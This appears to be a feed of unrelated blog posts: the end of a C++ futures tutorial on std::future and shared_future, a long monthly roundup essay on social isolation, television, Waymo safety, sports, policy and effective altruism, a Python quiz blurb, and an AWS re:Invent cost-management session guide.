 Wrapping up our quick introduction to the C++ futures library, we come to the last two parts: std::future and std::shared_future.
The std::future is the starting point. It is a move-only class that this takes the source and forwards its wait and wait_for methods to the source, and forwards its get method to consume.
Forwarding the get to consume means that you can call get only once.
The idea is that std::future is for the case where there is exactly one consumer of the value. Since it is move-only, you can’t copy it; you can only give it away and transfer the power to retrieve the value to the recipient.
The std::future has a method called shared(). This transfers the source from the future to a shared_future object. The shared_future also forwards its wait and wait_for methods to the source, but instead of forwarding its get to the source::consume, shared_future::get() just calls source::get to get a reference to the value storage.
This is what makes the “shared future” shared: The shared_future is copyable, so you can have multiple people all with their own shared_future that share the same source, and each one can separately wait for the value and retrieve the value as many times as they want.
The downside of shared_future is that you always get a const reference, so if you want to perform non-const operations on the result, you’ll have to make a copy and operate on the copy. And that’s not possible at all if the result is itself a move-only type, since you can’t move out of a const reference.
You can see that at the end of the day, all of the pieces of the futures library are just different ways of manipulating the invisible source. Some components push values into the source, and others pull values out of the source.
It took me a while to realize that the most important part of the whole futures library is something you can’t even see.
Bonus chatter: All the names in the futures library are horrible. I mean, really, “packaged task”?
Here’s my attempt to give the pieces better names:
	Old name	New name
	promise	promise_source
	packaged_task	function_promise_source
	async(deferred)	make_lazy_promise
	async(async)	make_thread_promise
	future	promise
	shared_future	shared_promise

I admit, these names aren’t all that good either. But I prefer to use the word “promise” to refer to the thing that “promises” to produce a value. And the pattern promise_source / promise makes the relationship between the two much clearer: A promise source is a thing that makes promises. And it avoids the hilarity of a non-async async().
The post C++ futures part 5: <CODE>std::<WBR>future</CODE> and <CODE>std::<WBR>shared_future</CODE> appeared first on The Old New Thing.

Read it at the source



Monthly Roundup #47: October 2026

Zvi Mowshowitz · Oct 16, 1:54 PM UTC

AI might not yet be eating the physical world. AI is still eating the world of news, and I am finding less and less opportunity to post about other things. My backlog of items grows across most of my secondary topics and I haven’t had time for any side projects.
The monthly, no matter what, is sacred. We continue.
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Home Alone
The story of our time, told once again: Americans are abandoning quite a lot of formerly popular activities, especially hosting at home, as Derek Thompson discussed. Phones and other electronics are in, most things that are not phones are out, with notably rare exceptions.






















That last line rules everything around us. And we all spend more time at home, which then exploded during Covid and mostly did not recover afterward.
Derek does discuss the last two lines later on.
You can view exercise classes as an adaptation in four ways: To a lack of other physical activity, to a lack of social activity, to a lack of motivation, and as a wealth effect. Regular people can afford this, and it is a safe way to get things they now lack.
Then there are the concerts. This one is what some call a Narrative Violation. We have this collective story about how in the good old days, like the 1960s, people went to all these great cheap concerts, that was part of the good life, and we’ve gotten away from that. But actually they’re making a quiet comeback despite people getting older and all the competition, and also they are great. On the flip side, they are also ‘free’ actions, in that you don’t have to overcome any social barrier. You can buy a ticket.
Whereas hosting is, as Derek says, a lot of work to set up, often not fun work. If you’re both working, and children now require vastly more time investment because our society went insane there, who has the time and energy to earn the payoff? Parties also require (and help create and maintain) friends, and creating and maintaining those friends takes even more time.
Meanwhile, being alone at home is no longer boring. Being alone at home is great, in the short term.
Derek Thompson: Machines in the last half century have accomplished something stranger. They have made other people less necessary to our leisure. Every generation has acquired better ways to entertain itself without leaving the house. The result is a peculiar triumph of modern abundance: We have built a world in which being alone has never been easier, more comfortable, or more fun. And then we wonder why everybody stopped coming over.

… Is this what we want? At the risk of invoking Clintonian levels of abstruseness, it depends on what “want” means. Everybody might prefer, in the abstract, a world of dinner parties, neighborhood friendships, and spontaneous gatherings. But on any given Wednesday at 7:45pm., it is easier to look at a screen than to host a party; easier to listen to a podcast while doing yoga than to plan a gathering. This is not so much an individual failure as a coordination failure.

There is some coordination failure, but I think this is the wrong central diagnosis. Coordination failure can be overcome, and given the will to do the thing the logistics are far easier today with all our social and communication and logistical tools.
The bigger problem is hyperbolic discounting in the face of the new alternatives. In order to get the returns from social activity, you have to invest energy and effort now, and also endure some mild social awkwardness and delay gratification and tolerate some boredom now, and often do things for someone else, in order to build up your friendship and other networks and get into regular habits.
I’m also guilty of this trap. I don’t socialize enough. I don’t host enough, and I don’t visit enough. I realize this. But it’s tough. There’s too much to do, both for work and for play. In my case I like to think I have a good excuse, but it is still a mistake.
The Men Have Never Been Okay
Institute for Family Studies reports at length on America’s demoralized and lost men. Their central presentation is not that young men have, as Senator Hawley put it, ‘no vision for what it is to be a man,’ or that their vision would be bad and captured by toxic influences. It’s that they do have such a positive vision, and it would be good but they despair of living up to it and do not see a path to getting there. We no longer lay out a simple ‘success sequence’ style strategy where you play by the rules and it does not work even for those without problems, and many have problems. The men are culturally told that, by default, they are worthless and unwanted.
Or is that the real story? There are some strange sets of beliefs reported.
42% think they are failures and 60% feel they have little control. 72% say who you know is more important than hard work, and 49% saying ‘no matter how hard I work, people like me will never achieve the American dream.’
But 84% say they are at least somewhat ambitious and 81% say they can ‘do just about anything I really set my mind to,’ 75% say their opportunities in life will be greater than their parents, and 82% say they have more potential to succeed than people think.
This seems like a lot of very strong framing effects combined with the Revolution of Rising Expectations. The men believe all these things at the same time, in different ways, and you can ‘activate different personas.’ Connections can beat hard work and the deck is stacked against you, but hard work is valid, and if you want it enough and keep your head on straight and resist temptation and despair you can still succeed. But do you want it enough? Can you keep your head on straight and resist temptation and despair?
And can you keep searching for an unknown, rather than for a known, so long as the ultimate odds have not changed so much?
Another way of looking at this is that if you succeed, there was some way in which you got lucky or did something extraordinary. Something individually atypical is part of every typical success story, even more so than in the past. But if you keep pushing, and try to make your own luck, you will probably eventually get lucky.
There are charts and statistics about the usual suspects, like unemployment, depression, disabilities, games, social media, atomization, gambling and pornography.
Social media is not like the others, where ‘once a day’ is considered infrequent.











Over half of young men feel lonely ‘at least some of the time’ but it is kind of weird not to, isn’t it? The right rate of feeling lonely, like many bad things, is not zero.











The report has many other interesting charts. It would be cool to see time lapses.
Mostly I came away from this report feeling better rather than worse, if you don’t think AI will upend everything. Ways exist to be found, at least for now. Remember that throughout history, a huge percentage of men failed to have children. It is not a new situation for men to be tested and have to find a way to prove themselves.
Broadly my current perspective is the men as a group have never been okay. The difference is that we used to sort of think not being okay was fine. Now we don’t.
Antisocial Media
Texting more often is associated with higher life satisfaction. Tyler Cowen asks ‘should you text more?’ and my response would be ‘yes, but only insofar as you should have more friends that you want to text.’
Frequency of YouTube and TikTok use was associated with lower life satisfaction, which partly can be explained the same way. Here I bet it runs both ways.
There was no association from use of other social technology, which implies other social technology is modestly negative, since it should be positively correlated with friends.
YouTube is changing its short-form algorithm to further prioritize original content, and especially to reduce reach of content ‘re-uploaded from other creators without adding anything of your own.’ I mean, yeah, why is that even allowed?
Twitter identifies and suspends a Chinese bot farm of ~200,000 accounts engaged in influence operations. This included 200 working to build American opposition to data centers. Those 200 were shown. The other 199,800 were not shown. I wonder what they were up to.
While I Cannot Condone This
If you don’t want to wrongspeak, you have two strategies. You can suppress thoughts, or you can suppress words.
Paola: I’m realizing that my ratio of “thoughts that explicitly enter my consciousness mind” to “thoughts I share out loud” must be absolutely crazy relative to the general population. My sense is that agreeable people basically suppress their thoughts as opposed to just their words and it’s at least slightly weird that I’m doing basically 0 thought suppression and a large amount of word suppression.

I was always confused about my levels of agreeableness because I felt like a lot of people saw me as “reasonably agreeable” and people close to me always saw me as “extremely disagreeable” and my self perception was somewhere in the middle.

Astrid Wilde: for what it’s worth i am probably top 5% agreeableness and i just say what i think.

I think Paola is at least directionally right. On reflection I think I have all four modes in the 2×2: suppressing or not suppressing thoughts and also speech. One strives to be in places one can suppress neither, but it is not always possible.
In Western Massachusetts, in the year 2026, there was a lesbian bar still requiring KN-95 masks. They changed Saturday nights to mask optional, and all hell broke loose like it was still 2020: “Just say you’re being complicit in a mass disabling event and get it over with.” “People like you kill disabled people in the name of your own leisure and convenience.”
Someone else wished the venue would be firebombed.
Annalisa Quinn: The thread grew to 442 comments, some supportive, but many furious. The people running the bar were accused of being ableist — eugenicist, even — for relaxing their signature policy in the face of what commenters consider an ongoing pandemic (Greenfield hasn’t reported any COVID cases in more than two months).

And then it got worse, or better, I’m not sure which.
Instead of defusing the situation, the apology seemed to make things worse. The bar had erred: it posted an Instagram card without providing alt-text for the visually impaired. This set off a fresh round of accusations of ableism.

“This is not an accessible post,” wrote one user. “It indicates the lack of care or interest in Disability intersectionality.”

It keeps going from there. On the second mask-optional Saturday the dance floor was empty, the hoped-for unmasked customers never came, and the owner ended the night alone on it, still masked.
Zero Marginal Product
Fun hypothetical:
Kurosai: Do you know how fucked up you have to be to reject a job that lets you sleep for 45 and hour? This is a joke.




AllThingsBeginWithNu: This is my job right now.

Merlins Bread: In certain parts of Latin America where it’s difficult to fire people, this is what they do. You clock in to the basement each day, sit in the uncomfortable cold with nothing to do, and clock out. No mobile reception, and you can still be fired for reading a novel on the job or refusing to follow safe work instructions.

This is obviously a terrible deal if you have better options or important work to do, but otherwise? The consensus strategy, of course, is to sleep. You shift your sleep schedule to be from 6am-2pm, learn to sleep either in the chair or on the floor, and that’s it. If you ban sleeping, this turns into the trying-to-get-you-to-quit scenario of Oidashibeya, where we have run the experiment, and some people quit but others do not, depending on their circumstances.
Unfortunately, I briefly checked the subreddit, and most posts there are super lame.
Good News, Everyone
We have an excellent permitting deal, the Bipartisan American Affordability and Jobs Act (S. 5653), if we can get it over the finish line into law. I don’t have time to properly geek out on all the details, but this is a big deal. Even better would be huge sweeping ‘cut the Gordian knot’ changes, but if you’re going to do incremental stuff this would be pretty great.
Back in July we got a report to the president called Science: A New Golden Age. In a better or quieter world I would have looked into this in detail. I am sad I never got to do that, but I need to admit defeat. By all accounts there were a lot of good ideas here.
Halloween not only is not the ‘deadliest day for child pedestrians,’ it is the safest by a huge margin, because everyone knows to watch out for child pedestrians that night. Yes, the absolute number of accidents is higher, but that is because normally we don’t let our children go outside and on Halloween everyone goes outside.
I confirm, based on both personal experience and what I see in others, that Justin Skycak is correct here: High performers start out with an edge that motivates more work with increasing returns to scale, then work more and harder than everyone else, and end up acquiring a vast array of related skills as they climb the entire associated tech tree. You can see it in various places. In sports, where the top players are better at actual everything, including all the tiny details. In media, where high quality things are just high quality across the board, with no limit. And so on.
100 Good Television Shows
A remarkably good list, the product of an industry survey:


I don’t agree with every call, or every omission, but I do not have to.
As usual with such lists, there are many excellent picks:
	Excellent picks I can confirm (26): 1, 2, 5, 6, 8, 11, 12, 14, 15, 17, 21, 22, 24, 30, 31, 36, 37, 44, 51, 53, 62, 78, 94, 97, 99, 100.
	Excellent short series I wouldn’t count but can confirm (6): 19, 35, 39, 72, 81, 86
	In some cases we are pretending later seasons do not exist because they don’t.
	True Detective is a weird case, where they’re finally going to make Season 2 soon, and they’re calling it Season 5. Nicolas Cage will star.



	Picks I am confident are excellent, but which I cannot fully confirm as I have not seen them, or seen enough of them (9): 3, 16, 27, 32, 50, 58, 73, 74, 96.

That’s already 41 out of 100.
That’s also nine series I am suddenly tempted to watch, that I haven’t, but that I can crack open at any time. Several are because they’re ‘tough watches’ despite greatness. As in, I know Andor is great, but do I actually want to watch Andor? Unclear.
I see a number of picks here that aren’t for me, or that I wouldn’t count for being too short, but only a handful where I could plausibly say, in the abstract, bad pick.
The next question would be, how many are conspicuously missing?
I have 7 Tier 1 TV shows. 5 of the 7 make the list, and the other two are obscure and thus highly forgivable mistake. All the straight dramas on my list make their top 20, including their #1 and #2.
I have 40 Tier 2 TV shows, 30 of which are eligible. Here the list does a lot worse, and only has 10 of them. I’d only call maybe 5 of the remaining 20 objective mistakes, rather than differences of opinion. That illustrates how long is the long tail of television. This did remind me that I have to make some updates here.
In any case, yes, Matthew Yglesias, there are not only 100 good TV shows but 100+ great TV shows out there, and yes you do need a canon so people can find the great ones. Matthew’s main argument is that if you have a great TV show, and then before it gets cancelled it gets bad, then the whole TV show is now not good, and this happens often enough that there aren’t that many good TV shows.
I think this is bollocks whenever you can pretend the later seasons do not exist.
If Shogun counts as great now (to use his example), and it does so long as you think it is long enough to count, and they then come out with two more seasons that are mid, then Shogun Season 1 is still great because it did not depend on ‘paying off’ in future seasons. The Diplomat, to use another of his examples, is different, because it is building to and paying off things, so you take some damage if it can’t nail the ending. Then you have shows like Lost (whoops) or Severance, the ‘mystery box’ shows, where it really hurts. I can see Severance ending up anywhere from my 8th Tier 1 show down to Tier 4 out of 5.
Do I think Game of Thrones at #6 is high? Yes, I’d probably put it more like #25, but I think there are very obviously 100+ good TV shows in the 21st century and this is obviously one of them. You do not have to look back and say ‘oh that ruined everything.’ It hurt a bit, largely via missed opportunity, but it didn’t ruin everything.
For Your Entertainment
There is talk about rezoning the Kips Bay AMC 15 site, my second-most common theater location, which will close at the end of the year due to termination of its lease, which was bought by NYU Langone, who wants to use it to expand the hospital. Some including the Borough President are insisting that a cinema and a grocery store (currently there is a Fairway next door with a long term lease) be kept. The grocery store part is absurd.
In general I am all for upzoning all the way and letting the market sort it out. I still kind of get the movie theater part. Movie theaters are public anenities that produce a lot of surplus. I would pay substantially more for housing that was very close to a good movie theater, so there is an externality here.
But if you believe that, you should do it with a subsidy, not by taxing those who deign to provide the public good in the first place. And since the new use is literally to expand a hospital, objecting to that is kind of nuts?
I agree with Adi that The Altruists looks like borderline slander against Caroline Ellison, setting her up as the mastermind that she very obviously was not. SBF was running this show. I would add that the SBF in the trailer is completely unrecognizable from the SBF of which there is quite a lot of film and documentation, and not only in physical appearance. For both of them, this is sub-SNL levels of character study. So I’m planting my flag in advance and saying, no, do not take this series as reflecting events that actually happened.
Christian Lorentzen: The problem with adapting SBF for drama is that, protagonist or antagonist, your main character has to have relatable desires, characteristics or motivations while the real SBF seems pretty alien to a normie audience.

Patrick McKenzie: I would assume the thesis of most of the projects is “The main character wants money and power” and that is not an unknown character archetype as either protagonist or antagonist. Character would be extremely intelligent, well-spoken, and quite forward with regards to desires.

The way this is played in the Big Short is “X is so comically self-interested and upfront about this fact that I can’t even hate him” (that is close to a quote from another character) and I think there are a variety of opinions one could have re: sincerity of the character.

But a pretty defining element of the character is “Wowza does he say a lot of things that polished professionals do not say, constantly, including when it is not obviously in his interest. This is part of his charm on other people. Strategic or not? Unclear?”

Gamers Gonna Game Game Game Game Game
I agree with Sam Black that unbanning Library of Alexandria in Commander would be fine, even in less competitive brackets. The games go so fast, there are so many powerful things going on, and you won’t win attrition wars with a Library. It just makes games more fun. And yeah, the main bad thing if you unbanned Ancestral Recall would be that it would be an auto-include, not that it would disrupt games.
Sam Black on the changes to Booster Packs. Changes seem okay. I agree with Sam Black that there in insufficient emphasis on ensuring a good, non-confusing limited experience, especially in draft.
I enjoyed Sam Black’s analysis of his latest Old School deck, but this is niche and requires that you know the format or at least the old cards.
I Was Promised Flying Self-Driving Cars
Waymo was already absurdly safer than human drivers, and it keeps getting safer, despite reports that the driving is getting less passive.
Waymo: 270M+ miles. 841 fewer injury-causing crashes.

Our latest safety data shows the Waymo Driver continues to make roads safer for everyone.

Compared to human drivers across 5 territories, it reduced:

 Injury crashes by 82%

 Serious injury crashes by 95%

Full data [here].

Jeff Dean: The safety data for Waymo gets better and better.

Comparison w/ human drivers on rate of crashes with serious injury:

Latest data: 270M miles, 20X better

Mar 2026: 170M miles, 13X better

Before that (forget exactly when): 10X better

Elan Bechor: Waymos are really safe (80-95% safer than humans depending on the metric), but they also seem to be getting *safer* over time. This is the worst they’ll ever be.

A quick analysis of the police-reported crash rates in three cities from Waymo’s published safety data.







What is the optimal rate of accident reduction, versus making trips faster? My guess is around this point you want to take your further wins largely in speed.
Tesla is taking more risks than Waymo, such as not pausing in the rain. That pausing does get Waymo some ‘free safety’ that one has to correct for. I endorse it. There’s so much risk that one stupid accident could ruin everything.
The Chinese are very much in the driverless car race.
David Manheim: I just wondered why other countries weren’t deploying autonomous taxis, then checked. China’s Baidu has ~2000 cars under “Apollo Go” in 6 cities. Waymo has ~4000. I’m pretty unsure who wins scaling globally, given the larger addressable domestic market in China, vs Waymo’s lead.





This is presumably not winner-take-all, rather it is a threshold oligopoly. If you can get the necessary efficiencies and safety, you can put on the road however many cars you can manufacture, until the market of all rides is saturated. Then yes you compete, and probably we settle into a 1-4 service world in any given place, with 1 for rural areas and 3+ for big urban centers.
Meanwhile, yes, it is slow going but Waymo is steadily expanding.
The Waymo debate is happening right now in DC. There is a strange emphasis on ‘countless’ ride share drivers, given DC only has 200 full-time ride share drivers among its residents, and as always calls not to ‘rush’ legislation.
Sports Go Sports
A classic: Nick Saban’s Five Enemies of Greatness. Worth a periodic read.


College football has been completely transformed now that players get paid and can transfer fully, in some ways for the better and others not. Here are the salary ranges, also known as the long term viability index if no one adjusts.


I don’t much mind the competitive imbalance. That’s not exactly new. What I do mind is the constant player movement. There’s too much to learn and I want to be able to root for coherent teams, and also it would be nice to have the players go to a single actual college, get an education, have friends and an identity and so on. You can pay the players without them constantly moving around, at least while we’re prioritizing attempting to pass federal laws to ‘save college sports.’
Government Working
You can just whiten teeth, except you can’t, because dentists. Many such cases.
Airlines will no longer be required to provide compensation for lodging, meals and other assistance when flights are delayed or canceled due to certain causes now classified as ‘uncontrollable.’ I am torn. On the one hand, dealing with vouchers is annoying and the cost gets priced into the tickets. On the other hand, it makes travellers feel a lot better, and due to ticket booking via de facto auction airlines are forced to not offer such features unless they are mandatory. The airlines do have some influence on outcomes, especially since the top reclassified cause is ‘unscheduled maintenance.’
My gut says it is better to make the airlines pay, but it seems fine either way.
Argentina is selling golden passports, and a lot of people will fail this intelligence test.
Financial Times: Successful applicants will either have to make a non-refundable donation of $350,000 to Argentina’s Treasury or purchase a zero-coupon government bond worth $800,000.

Mike Bird: Weird, surely you’d choose to make the non-refundable $350,000 donation rather than the non-refundable $800,000 donation.

It is not quite that simple, but it is close to that simple. You are not allowed to sell the bond for seven years, and if you do the math on comparable tradable bonds it is cheaper to pay the $350,000 while also requiring less money up front. Choice is easy.
I get that maybe you need cannabis to be legal because of the alternative but why the hell are we advertising its legality in the subway with public service announcements?
Mamdani to ban Central Park’s horse-drawn carriages, one of the famous things to do in New York. I’ve never actually done it, but I feel like I should do it now while I can. Sounds like we will have until June 2028. You know it is deeply stupid when they are laying off 200 people and destroying a cultural touchstone purportedly in large part because of one accidental death, of Romanch Mahajan, and also because people think it is inhumane to the horses to have them draw carriages, and various other things that are not true.
Waymo, beware.
Of course then, he’s promising to pay the 200 people to not drive horses around, and also paying for the horses people will not ride in on. You can imagine what I have to say to Mamdani, and also his horse.
Jones Act Watch
US Navy considering building its ships overseas. As well they should.
Yes, America still massively subsidizes shipbuilding, but so does everyone else. If you want to build ships domestically, for strategic reasons, you are going to have to subsidize that. I don’t love doing that, but I also don’t mind it at all. Sure, we can afford it. The key is to do that with money, not with a ban on other ships.
Variously Effective Altruism
The bad guys have come with bad faith attacks against Effective Altruism, as has the Department of War, and the neutral guys are suddenly paying attention and creating profiles that often miss the mark, as per the usual Gell-Mann experience.
I certainly have my critiques of Effective Altruism. Most famously I have my Book Review of Going Infinite. I had Altruism is Incomplete back in 2017. In 2022 I entered a criticism of the EA Criticism Contest into the contest itself, including my 21 points that attempt to summarize the EA framework, of which I strongly disagreed (and still do disagree) with 13, in order to argue that they want critiques but only within their frames. I won an honorable mention.
At one point they paid me to come to EAG Boston and give a presentation about my disagreements with EA, which is exactly what I did. And so on.
That’s because the EAs are trying hard enough to be worthy of critique. So critiques they shall have, good ones, that hold them to the standards they aspire to fulfill.
This wave is different. This is a deliberate campaign of attack, the true face of politics. No one involved is trying to make anyone better.
That’s not cool. No one picks on my little brother but me, especially in bad faith.
There are plenty of public and acknowledged connections between various EA orgs and people and funders, which causes some to then try and force QAnon styles of connections, such as ‘person [P] who funded or invested in [X] also funded [Y], therefore [X] funded [Y].’ Which of course is not how it works.
It’s fun to now continuously see claims of the class ‘Asterisk is funded by Coefficient Giving (formerly Open Philanthropy). It really is remarkable that @NYMag didn’t disclose the ties that one of its co-authors on the piece has’ when the piece does actually disclose this as the lede of the article. Welcome to Politics, capital P.
A lot of the time, the true argument is of the form ‘there are these weird (and other attributes you or your politics will dislike) people who care about AI safety, but as I’ve shown such people are weird and bad, therefore you shouldn’t care about AI safety.’
Then there are those who accuse the EAs of saying ‘only they can be trusted with AGI’ or that they want to take over the world. Some form of this is narrowly true of the leaders and many employees of the major labs, which includes many EAs at Anthropic, but the same is true of many at OpenAI and Google DeepMind and also Elon Musk, which mostly are not EAs. The active ingredient lies elsewhere.
There is also, yes, a faction that says ‘no one can be trusted, but someone is going to build it and this is our best option,’ the same way that most people are not happy about their choice of Presidential candidate these days. Many are quite upset that Anthropic turned into another race participant, and then there is a split about whether that still makes Anthropic a good enough least-bad option. I believe, in both cases, that those saying ‘you have to pick one’ are making a mistake, but it is similar.
Then there is the larger group of EAs warning that no one can be trusted to build AGI and ASI, period. People are accusing an atheist group of being monotheist because they don’t believe in anyone else’s Gods.
I especially don’t appreciate those who accuse EAs and rationalists of being ‘uniquely isolated’ or ‘ideological’ or attached to their beliefs or anything like that, as in:
Wes (quote is from Sarah Haider): “They tend to hold very binary understanding of emotions and reason, which are, of course, not actually mutually exclusive”

Everyone who views rationalists as caricatures says things like this. Nobody does who has talked to any rationalists for more than 10 minutes.

This is the pure form of the Straw Vulcan style of critique that is remarkably common and has little bearing on reality. Another common one, also available within that thread, is ‘if you follow their logic to its conclusion it implies bad things.’ Yes, if you blindly and endlessly extrapolate from chosen beliefs, in a way that approximately zero people actually do, without pausing to realize your mistake, you eventually get to some rather large mistakes. That is true of everyone who believes something, and also is an important hint about difficulties with AI alignment.
I do think, similarly to Trace Woodgrains, that EAs in particular will often use calculations to imply things that if fully naively extrapolated would go badly, biting bullets in theory, but then in the face of messy reality they wisely pull back in practice. Sometimes things get taken too far, but if there is not a dramatic penalty for too far and you never take things too far then you are not taking things far enough. Note that I explicitly disendorse the strong form of impartiality, among other related bullets.
The classic good faith mistake is to take the ‘in theory’ pronouncements, and then presume people who rhetorically bite those bullets actually fully bite them in practice, or that they would if given the opportunity.
Others, such as the Economist profile, talk about EA as having been ‘led astray.’ Usually it is that they abandoned other causes for AI. In the Economist case it is the better critique that they inadvertently sped AI up in various ways, which is highly valid, I was mad about it at the time, but it cannot be undone. The other critique, about becoming a ‘strict-church’ and encouraging earning to give are less clear, and hopefully few people are still doing classic ‘earning to give’ at this point.
It got bad enough that Tyler Cowen had to go and write In Defense of Effective Altruism. The defense is measured. EA is endorsed on the margin and as directionally correct. As much as Tyler ‘just says things’ regarding AI existential risk, he agrees that obviously we should pay more attention to AI safety, as well as other EA causes like global poverty. Does Tyler have digs and critiques as well? Why yes he does, but to be directionally right on the margin is high praise from a coauthor of Marginal Revolution.
Coefficient Giving’s Alexander Berger responded to Tyler’s defense, while accepting that yes EAs can be arrogant. I will sidestep the AI existential risk rhetoric on both sides, since we’ve heard it all before.
I think ‘directionally correct’ is important and spot on. Yes there can be overshooting. I do not, for example and as noted above, endorse impartiality, but most people could be less partial. You don’t want to rely on only doing calculations, but most people desperately need to do more calculations and rely on them more. And so on.
The particular failure mode people often highlight is to use utility arguments to plausibly favor some other consideration over humanity, saying that if you multiply, the other consideration is more important. It can be insects or shrimp or what not, or it can in some cases lead to AI successionism, or it can be negative utilitarianism and the focus on suffering to the exclusion of other values. The good news is that all the EAs I know who are actually influential do not make these mistakes where it matters, and I do not think that is a coincidence.
I think it is actively a good thing that some people make stupid and stupid looking mistakes like the Shrimp Welfare Project, that then are endlessly mocked, and there is very little call to try and jettison such views or people. You can be wrong.
Zac Hill: As someone who’s been pro-EA for a pretty long time, and who appreciates the fundamental philanthropic innovations, I really think “makes consequential choices based on thinking rigorously about doing good” is a strong and emulable trait we could use a lot more of.

Any group that collectively takes a handful of big ‘look over here’ shots in the 2010s, where two of them are pandemics and AI, should get you asking what they did right, and yeah maybe let a few of them sound crazy and talk about electron suffering. You don’t have to help fund them.
Does EA have an ‘inner ring’?
Ozymandias points out that no, you can’t join the secret inner circle of cool effective altruists, because there is no single inner circle, whether or not EAs are cool.
There are of course various EAs and rationalists and associated persons with money and power and connections. There is no inner ring. There are only other rings.
roon (OpenAI): this is so stupid. there is an inner ring of effective altruists and they are well on their way to being trillionaires, or they’re professors at Oxford, or have a tremendous political lobbying machine

Oliver Habryka: Eh, I think this is overstated.

The top of the community really is a bunch of people who basically never talk to each other. What’s your guess when Will last talked to Dario last talked to Eliezer last talked to Leopold last talked to Alexander Berger?

I think modeling EA as an inner ring doesn’t match how power is actually distributed.

Aella: i get the impression there’s a few different inner rings, each with different flavors, and there’s super high variance in communication within and between the rings

Anna Salamon: Seconded

Oliver Habryka: Yep, this seems right to me. There is an Oxford-EA-ish inner ring. There is somewhat of a rationalist inner ring. There is an Anthropic-adjacent inner ring. There is a Constellation inner ring. And maybe 2-3 more I am forgetting.

Walk Away
One of the best rationalist norms is that if you are in a conversation, and that conversation is boring to you, or you otherwise want to leave, you can quietly leave.
Words cannot express how wonderful this norm is. A lot of why Lighthaven is so wonderful is that within its confines you can use this norm. You are not stuck in a conversation, or in a presentation.
There was at least one case during The Curve, despite it being at Lighthaven, where I found myself with someone who I was worried did not understand this, that I did not want to offend, and who kept rejecting my polite bids to wrap up the conversation, and that was super frustrating as the opportunity cost of time was high.
The fact that you get in trouble doing this in other cultures only emphasizes this.
Rachel: you can tell how rationalist a subculture is based on how socially ok it is to just walk away from things / conversations / talks

brooke bowman: God it’s so nice

I made a point of being weird like that in other spaces too though bc often ppl just don’t even realize it’s an option

Paola: I love that this norm exists. It feels quite liberating, and I practice it relatively regularly when among people who I believe are part of subcultures that allow for it.

HOWEVER, I would never in a million years do anything like this (intentionally) among most subcultures.

There are many social moves similar to this one that I often watch rationalist-adjacent people make among non-rats (eg, saying “I’m bored, “I don’t want to be spoken to right now”, etc.) and cringe each time I see it happen.

For people who want to be taken seriously (or even liked on a basic level) among non-rationalist subcultures, learning how to code switch is one of the most important things you can do. This is especially the case when your standard culture has norms than when applied elsewhere will end up communicating disrespect/disregard for the other party.

Yes. You need to be rather confident you can do this within a given space before you do it, especially if you are not especially skilled at doing so.
One danger, also often brought up regarding school, is ‘well your life is often going to suck in this way, so we’d better make sure you are prepared by ensuring it sucks now.’
Wes, the Dadliest Catch: This is why I worry about people who pretty much only engage with the rats. The norms are pretty good! But they are very strange and will not work anywhere else

Paola: yeah and unfortunately the failure mode is not *just* “people find you weird and unapproachable” but rather “people feel insulted and disrespected.”

So yes, you need to emphasize that this is only available within the sacred space.
Etiquette norms are now sufficiently fractured, or those with different norms have been sufficiently scattered, that it gets harder to know which norms are in play. Kelsey Piper here analyzes the classic example of attempting to visit a friend in another city and ideally stay with them. Depending on the subculture, the dance and way of communicating the ask, and a possible yes or no, is very different, and there is no ‘safe’ answer except IYKYK.
Kelsey Piper: Given our blend of mores, my advice is to reach out to the friend while planning the trip and ask their advice on what neighborhoods to stay in in their city. Then, if they say you can stay with them, say that sounds wonderful but you wouldn’t want to be an inconvenience.

Then you’re good, haven’t offended any friends, and are unlikely to have missed out on staying with someone who’d be happy to have you.

(In my subculture you can just directly ask. But this is not true in all subcultures).

Kelsey’s suggestion is safe in one direction, not putting the other person in a corner or forcing them to turn you down, but it seems risky in terms of potentially missing out. I think you’ll have a substantial number of ball drops at both steps. Guess culture where you have to guess which guess culture leads to a lot of wrong guesses, especially if you’re actually an asker or straight doer and you’re improvising.
Or, you could take the approach suggested by Artemis on all this. I don’t advise it.
Artemis: most people’s norms are bad and deserve to be disrespected and disregarded

michael vassar: This doesn’t get said enough. Trying to avoid accusations of disrespectful treatment of bad norms has already taken us to the brink of the abyss. There’s still hope that we can afford to tolerate tolerance but we absolutely can’t survive by ‘respecting’ symmetry breaking respect

Paola: I would hate it if my child grew up thinking these norms were perfectly sane and valid, and I also would want them to know how to navigate them in order to get what they want.

The Lighter Side
Shuffle Casino gives a sponsorship to Jack Doherty, which he signs, that includes the condition that Jack is not allowed to post online. And they’re enforcing it. Legends.
On-topic memeing I appreciate:


Ben Grossman: No comment

NBC News: BREAKING: CIA officer arrested with gold bars admits he exposed secret intelligence source to a foreign official during a plea hearing.




bill spacman: i think you mean 295

Ben Grossman: Pretty sure it was 294


Read it at the source
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Quiz: Python's .__call__() Method: Creating Callable Instances

Real Python · Oct 17, 12:00 PM UTC

In this quiz, you’ll test your understanding of
Python’s .__call__() Method: Creating Callable Instances.
By working through this quiz, you’ll revisit what makes an object callable, how to
check whether an object is callable, how .__init__() and .__call__() differ, and
how callable instances help you write stateful callables, cache results, design
convenient APIs, build class-based decorators, and implement the strategy pattern.

[ Improve Your Python With Python Tricks – Get a short & sweet Python Trick delivered to your inbox every couple of days. >> Click here to learn more and see examples ]
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Know Before You Go: your re:Invent 2026 guide to managing cloud and AI spend

AWS Cloud Financial Management · Oct 16, 10:06 PM UTC

As the world is embracing AI at scale, those of you who manage the IT spend are facing a new puzzle. If the previous era of Cloud Financial Management (CFM) required IT and finance leaders to be bilingual across cloud and finance, the AI era adds new vocabulary and cost dimensions, such as tokens. Heard of this one? Just when you felt you had a handle on the total cost of ownership (TCO), it has expanded into the total cost of AI (TCA). The new landscape demands that you rethink how you manage costs, so you can reach the level of cost traceability and control that your organization needs to justify the investment.
At this year’s re:Invent, we’ve lined up a fantastic set of sessions to get you up to speed on the latest AI cost management frameworks, solutions, and real-life success stories. They will help you wrap your head around concepts, such as tokenomics, and get ahead of the AI cost management game. Across tracks, more than 30 sessions fall under the theme of cloud financial management and AI cost management. In this blog post, I highlight nine of them and share where you can find AWS FinOps experts and peers throughout the week.
Three Themes
Before diving into the sessions, here are the three themes you’ll see woven throughout various sessions:
	Native visibility and control over AI costs (FinOps for AI): As AI adoption accelerates, we want you to have a detailed view into your AI spending, so you can scale without losing financial control.
	Foundational FinOps excellence: Granular cost allocation, better forecasting, and custom benefit sharing, so every dollar is visible, planned for, and intentionally shared.
	AI for FinOps: Putting AI to work for your FinOps teams, so you can stay focused on the critical business tasks and spend less time managing both existing cloud spend and emerging AI costs.

